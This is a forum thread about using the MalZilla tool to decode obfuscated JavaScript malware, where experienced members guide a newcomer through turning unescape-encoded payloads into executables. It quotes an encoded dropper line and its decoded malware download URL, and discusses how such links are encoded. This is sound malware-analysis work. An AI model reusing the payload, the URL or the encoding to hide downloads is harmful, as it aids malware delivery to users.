Author Topic: MalZilla  (Read 230150 times)

0 Members and 1 Guest are viewing this topic.

March 16, 2010, 05:22:38 am
Reply #315

bobby

  • Special Members
  • Hero Member

  • Offline
  • *

  • 322
    • Malzilla
Hi denmilu,

remove var payload = unescape(" at the beginning of the script and "); at the end of script.
Click on "UCS2 to Hex" and on "Hex to bin" after that.
You will get plain EXE file.

March 16, 2010, 07:18:33 am
Reply #316

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Hi Bobby,

Thanks for your help but in my mazilla 1.2.0 I did not find button "Hex to bin".
Because I did not find "Hex to bin" button, So I click on " Hex to File" and after that, I got a filename.bin, and I could not read the content inside. :(

So do you have any suggestion for me to do now? I wana to find the link in this decode script.



I has just beging use mazilla, so the first time i think I will have many problems, hope you help me pass this.

Thank you!

March 16, 2010, 07:39:32 am
Reply #317

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
I think here is a simple encode script, similar with above,

Code: [Select]
JWXNcwDTisuUZviJAX+=unescape("%u7468%u7074%u2F3A%u652F%u7078%u6F6C%u7469%u612E%u6470%u6972%u6C6C%u612E%u6973%u2F61%u616D%u776C%u7261%u3065%u2E31%u7865%u0065");

And when do as your intruction i got the link

Code: [Select]
http://exploit.apdrill.asia/malware01.exe

but with link above, i can not read the content on Bin file.

I also Attach a txt file that content encode content, but i could not decode it to view plain content inside, can you tell me how to decode it?

March 16, 2010, 10:55:25 am
Reply #318

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Remove EVERYTHING except the USC code, and then click USC2 To Hex, then copy it and paste it into the Hex decoder tab ;) (it's got an MZ header at the top indicating it's an actual executable btw)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 16, 2010, 10:57:21 am
Reply #319

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Should've looked at the next page before replying, hehe.

It's Hex to File btw, not Hex to Bin ;) (on the Misc Decoders tab)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 16, 2010, 10:58:16 am
Reply #320

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
So do you have any suggestion for me to do now? I wana to find the link in this decode script.

You can load the .bin in either the Hex Decoder tab, or download and install FileInsight ;)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 17, 2010, 02:03:36 am
Reply #321

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Hi MysteryFCM,

Thanks for your help!
Now I have understood the menthod to decode this type (%uxxxx) of script, But I wonder how can we could encode a link to USC code? Do we have any tool help us to do that?

For example, we have a link 
Code: [Select]
http://www.malwaredomainlist.com So how can we encode it to a USC code?


March 17, 2010, 02:12:29 am
Reply #322

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Why would you want to?
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 17, 2010, 02:43:27 am
Reply #323

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Hi MysteryFCM,

Because I'm preparing for a lecture, so I need to understand all technology that used in malicious codes. The main purpose is analysic malware, but before analysic, we need to know how it can be that (how to encode).

So I need your help! Thanks

March 17, 2010, 03:04:06 am
Reply #324

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
If it's for a lecture, I'll let you do the work and just give you a pointer ;)

http://php.net/manual/en/function.iconv.php

Would defeat the object if we did it for you ;)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 17, 2010, 03:14:38 am
Reply #325

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Oh, thank you!

Actually, I want to do something by myselft and I think I can do what I want with the page you gave. It's so simple!  ;)


March 17, 2010, 03:36:16 am
Reply #326

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
No problem :)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 18, 2010, 09:46:39 am
Reply #327

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Hi all,

I have a problem when use mazilla to decode a hex code, After copy a hex code and open download tab then click HEX tab,  Right click and chose "paste as hex" I will see the result that was decoded in the right conner, But with some hex code, it is could not decode. So could you show me how to use mazilla to decode some hex code that I had attached bellow.

Thanks.

March 18, 2010, 09:55:55 am
Reply #328

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Replace the spaces with %, and remove the line breaks
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

March 18, 2010, 10:35:40 am
Reply #329

denmilu

  • Jr. Member

  • Offline
  • **

  • 10
Hi MysteryFCM,

I did it, thank you very much!  :D